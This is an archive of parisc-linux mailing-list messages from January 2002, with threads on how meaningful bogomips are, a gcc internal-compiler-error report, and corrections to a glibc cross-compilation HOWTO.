> > As a rough guess, my 715/100 feels like a Pentium chip of roughly
twice> > the speed, while my C180 feels like a P2 of roughly twice the
speed. Don't> > know if the bogomips back that up, but that's the way they
feel.> 
> I've heard that from a bunch of people and seems like a good rule of
thumb.> 
> Someone once told me: "bogomips is just a dick waving contest".
> (apologies to any female readers who are offended).
> But that statement accurately  sums up how useful bogomips
> is for comparing perf.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 12:25:01 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201131222400.1023-100000@alpha.bocc.de>
References: <20020113021209.55bad2ea.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620958 795 80.91.229.3 (22 Nov 2014 01:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:18 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	<palinux@alaskatech.org>, <plaven@bigpond.net.au>,
	<parisc-linux@parisc-linux.org>
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 04:29:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7F4A482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 04:29:40 -0700 (MST)
Original-Received: from pD9E01615.dip.t-dialin.net (pD9E01615.dip.t-dialin.net [217.224.22.21])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0DBPDj03307;
	Sun, 13 Jan 2002 12:25:13 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020113021209.55bad2ea.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13708

On Sun, 13 Jan 2002, Christian Suder wrote:

> For those who believe BogoMips matter..... ;-)

The document lists a HP9000/720 running HP/UX with 48 BogoMIPS. This seems 
to match Linux (Linux is even a bit faster :-) ):

# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1a
cpu             : PA7000 (PCX-S)
cpu MHz         : 50.000000
model           : 9000/720
model name      : Cobra (720)
hversion        : 0x00002000
sversion        : 0x00000481
I-cache         : 128 KB
D-cache         : 256 KB (WB)
ITLB entries    : 96
DTLB entries    : 96
BTLB fixed      : max. 4096 pages, pagesize=4096 (16MB)
BTLB fix-entr.  : 4 instruction, 4 data (0 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 49.86
software id     : 86914152

Cheers,
Jochen




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi 4369 <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc bug
Date: Sun, 13 Jan 2002 16:39:39 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3C41AA3B.6598C187@hpfrcu81.france.hp.com>
References: <3C3F0ADA.3060504@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620958 799 80.91.229.3 (22 Nov 2014 01:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 08:32:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D157482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 08:32:56 -0700 (MST)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id B2C5B47A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 16:32:48 +0100 (MET)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id QAA01128 for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 16:39:39 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13709

Hi All,

On my palinux box I got this gcc error while compiling a source code.

$ gcc -c -g -O3 c2.c
c.c: In function `string_match_1':
c.c:406: Internal error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

Where should I submit this? since it happen on a palinux box I dunno if the
gcc maitainer does have such a box?

Thanx in advance,
Phi


--
mailto:Philippe_Benard@hp.com
WTEC HP-UX kernel debugging tools



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 09:48:20 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <02011309482000.00878@localhost.localdomain>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org> <20020112224306.C73ED482A@dsl2.external.hp.com> <20020113021209.55bad2ea.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620959 805 80.91.229.3 (22 Nov 2014 01:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 08:50:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (firewall.pflash.com [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0929482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 08:50:58 -0700 (MST)
Original-Received: from localhost.localdomain (ppp147.cc1.pflash.com [63.121.24.149]) by vopserver.pflashcom
 (Vircom SMTPRS 5.2.203) with SMTP id <B0009604606@vopserver.pflashcom> for <parisc-linux@parisc-linux.org>;
 Sun, 13 Jan 2002 09:46:40 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020113021209.55bad2ea.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13710

On Sunday 13 January 2002 04:12 am, Christian Suder wrote:
> http://www.linuxdoc.org/HOWTO/mini/BogoMips.html
>
> For those who believe BogoMips matter..... ;-)
>
> 	Christian
>
Well, I would never claim that BogoMips is, in its self, useful for anything.

But since its code is closely related to the udelay code, which affects 
scheduling and many drivers...

Once upon a time, both my Celeron and my P-II reported approximately 1.00 * 
clock (same as above reference), then with some change of kernel version, 
jumped to 2.00 * clock.

BUT, that might have been an intentional change in the routine, or...

No promises on this one: I sometimes keep old kernels, perhaps I can find the 
"before and after" kernels where I noticed the change.

Mike




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 15:52:16 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20020113155216.O9193@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org> <20020112224306.C73ED482A@dsl2.external.hp.com> <20020113021209.55bad2ea.csuder@cisco.com> <02011309482000.00878@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620959 809 80.91.229.3 (22 Nov 2014 01:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 08:52:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48447482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 08:52:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Pmvg-0000CG-00; Sun, 13 Jan 2002 15:52:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <02011309482000.00878@localhost.localdomain>; from mszick@pflash.com on Sun, Jan 13, 2002 at 09:48:20AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13711

On Sun, Jan 13, 2002 at 09:48:20AM -0600, Michael S. Zick wrote:
> Once upon a time, both my Celeron and my P-II reported approximately 1.00 * 
> clock (same as above reference), then with some change of kernel version, 
> jumped to 2.00 * clock.

yeah, that was a change prumpf made.  i forget why, but there was an
important reason.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 09:53:32 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <02011309533201.00878@localhost.localdomain>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org> <20020112224306.C73ED482A@dsl2.external.hp.com> <20020113021209.55bad2ea.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620959 811 80.91.229.3 (22 Nov 2014 01:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 08:56:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (firewall.pflash.com [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54D49482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 08:56:10 -0700 (MST)
Original-Received: from localhost.localdomain (ppp147.cc1.pflash.com [63.121.24.149]) by vopserver.pflashcom
 (Vircom SMTPRS 5.2.203) with SMTP id <B0009604664@vopserver.pflashcom> for <parisc-linux@parisc-linux.org>;
 Sun, 13 Jan 2002 09:51:52 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020113021209.55bad2ea.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13712

Oops,
I am once again exposed as a fool.  Please ignore my earlier copy of this 
message - I didn't read the full reference.  The change from 1.0 * clock to 
2.0 * clock is described in the reference.
Sorry folks,
Mike


On Sunday 13 January 2002 04:12 am, Christian Suder wrote:
> http://www.linuxdoc.org/HOWTO/mini/BogoMips.html
>
> For those who believe BogoMips matter..... ;-)
>
> 	Christian
>
Well, I would never claim that BogoMips is, in its self, useful for anything.

But since its code is closely related to the udelay code, which affects 
scheduling and many drivers...

Once upon a time, both my Celeron and my P-II reported approximately 1.00 * 
clock (same as above reference), then with some change of kernel version, 
jumped to 2.00 * clock.

BUT, that might have been an intentional change in the routine, or...

No promises on this one: I sometimes keep old kernels, perhaps I can find the 
"before and after" kernels where I noticed the change.

Mike




From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 16:08:18 +0000 (GMT)
Lines: 20
Approved: news@gmane.org
Message-ID: <E16PnBC-0007Jg-00@the-village.bc.nu>
References: <20020113155216.O9193@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620960 1082 80.91.229.3 (22 Nov 2014 01:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:20 +0000 (UTC)
Cc: mszick@pflash.com (Michael S. Zick),
	parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 08:56:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9673D482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 08:56:51 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16PnBC-0007Jg-00; Sun, 13 Jan 2002 16:08:18 +0000
In-Reply-To: <20020113155216.O9193@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 13, 2002 03:52:16 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13713

> On Sun, Jan 13, 2002 at 09:48:20AM -0600, Michael S. Zick wrote:
> > Once upon a time, both my Celeron and my P-II reported approximately 1.00 * 
> > clock (same as above reference), then with some change of kernel version, 
> > jumped to 2.00 * clock.
> 
> yeah, that was a change prumpf made.  i forget why, but there was an
> important reason.

We changed the x86 bogomip computation because it overflowed on a 2GHz 
processor. (Yes Linux 2.0 does not work on 2GHz preventium IV 8))

In all cases bogomips serves only two other serious purposes. Comparison
of identical processors, and checking nobody sold you the wrong processor.

Even in the x86 world this is quite obvious, with a 1.5GHz AMD flattening
a 2GHz Intel on actual throughput.

Alan



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XC HowTo Mistakes
Date: Sun, 13 Jan 2002 17:00:28 +0100
Lines: 130
Approved: news@gmane.org
Message-ID: <A9BCC5DC-083E-11D6-8D7B-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: multipart/alternative; boundary=Apple-Mail-3-418173568
X-Trace: ger.gmane.org 1416620960 1086 80.91.229.3 (22 Nov 2014 01:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 09:00:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D299482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 09:00:30 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id E803C49BF3
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Jan 2002 17:00:27 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13714

--Apple-Mail-3-418173568
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=ISO-8859-1;
	format=flowed

Hello

I have noticed what seems to be a mistake in the XC HowTo on=20
parisc-linux.org:

here: http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html

you have in section "4.4 Building Glibc" those lines:

Symlink the appropriate headers:

cd=A0$ST/parisc/hppa-linx/include
ln=A0-s=A0$ST/src/linux/include/linux=A0.
ln=A0-s=A0$ST/src/linux/include/asm=A0.

But it should be:

"cd $DEST/hppa-linux/include"

then linking as explained.


Otherwise, there's a in the same section for the configure options:
$ST/src/glibc/configure=A0--host=3Dhppa-linux=A0--build=3D$MACH\
=A0-prefix=3D$DEST/hppa-linux=A0--with-headers=3D$ST/src/linux/include\
=A0--disable-profile=A0--without-cvs=A0--enable-add-ons

It should be:
$ST/src/glibc/configure=A0--host=3Dhppa-linux=A0--build=3D$MACH\
=A0--prefix=3D$DEST/hppa-linux=A0--with-headers=3D$ST/src/linux/include\
=A0--disable-profile=A0--without-cvs=A0--enable-add-ons

it's the "--prefix=3D" which must be typed with 2 "-".


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin

--Apple-Mail-3-418173568
Content-Transfer-Encoding: quoted-printable
Content-Type: text/enriched;
	charset=ISO-8859-1

Hello


I have noticed what seems to be a mistake in the XC HowTo on
parisc-linux.org:


here:
=
<underline><color><param>1A1A,1A1A,FFFF</param>http://www.parisc-linux.org=
/toolchain/PA-Linux-XC-HOWTO-04.html</color></underline>


you have in section "4.4 Building Glibc" those lines:


<fontfamily><param>Times New Roman</param><bigger><bigger>Symlink the
appropriate headers:=20


</bigger></bigger></fontfamily><fixed><fontfamily><param>Courier =
New</param><smaller>cd=A0$ST/parisc/hppa-linx/include

ln=A0-s=A0$ST/src/linux/include/linux=A0.

ln=A0-s=A0$ST/src/linux/include/asm=A0.

</smaller></fontfamily></fixed><fontfamily><param>Times New =
Roman</param><bigger><bigger>

</bigger></bigger></fontfamily>But it should be:


"cd $DEST/hppa-linux/include"


then linking as explained.



Otherwise, there's a in the same section for the configure options:

<fixed><fontfamily><param>Courier =
New</param><smaller>$ST/src/glibc/configure=A0--host=3Dhppa-linux=A0--buil=
d=3D$MACH\

=A0-prefix=3D$DEST/hppa-linux=A0--with-headers=3D$ST/src/linux/include\

=A0--disable-profile=A0--without-cvs=A0--enable-add-ons

</smaller></fontfamily></fixed>

It should be:

<fixed><fontfamily><param>Courier =
New</param><smaller>$ST/src/glibc/configure=A0--host=3Dhppa-linux=A0--buil=
d=3D$MACH\

=A0--prefix=3D$DEST/hppa-linux=A0--with-headers=3D$ST/src/linux/include\

=A0--disable-profile=A0--without-cvs=A0--enable-add-ons

</smaller></fontfamily></fixed>

it's the "--prefix=3D" which must be typed with 2 "-".



Thibaut VARENE

PA/Linux ESIEE Team

=
<underline><color><param>1A1A,1A1A,FFFF</param>http://www.esiee.fr/puffin<=
/color></underline>=

--Apple-Mail-3-418173568--




From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc bug
Date: Sun, 13 Jan 2002 10:36:58 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020113173658.739E6482A@dsl2.external.hp.com>
References: <3C3F0ADA.3060504@verizon.net>  <3C41AA3B.6598C187@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620960 1090 80.91.229.3 (22 Nov 2014 01:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:20 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: phi 4369 <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 10:36:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 739E6482A; Sun, 13 Jan 2002 10:36:58 -0700 (MST)
In-Reply-To: Message from phi 4369 <phi@hpfrcu81.france.hp.com> 
   of "Sun, 13 Jan 2002 16:39:39 +0100." <3C41AA3B.6598C187@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13715

phi 4369 wrote:
> Where should I submit this?

iirc, the error output tells one where to submit the bug report.
Perhaps that has changed.

> since it happen on a palinux box I dunno if the
> gcc maitainer does have such a box?

J. David Anglin is HPPA co-maintainer and he watches this list.
And yes - he has several parisc boxes.

thanks,
grant



From - Thu Nov 08 21:21:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc bug
Date: Sun, 13 Jan 2002 14:11:03 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200201131911.g0DJB3b2013360@hiauly1.hia.nrc.ca>
References: <20020113173658.739E6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620961 1092 80.91.229.3 (22 Nov 2014 01:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:21 +0000 (UTC)
Cc: phi@hpfrcu81.france.hp.com, parisc-linux@lists.parisc-linux.org
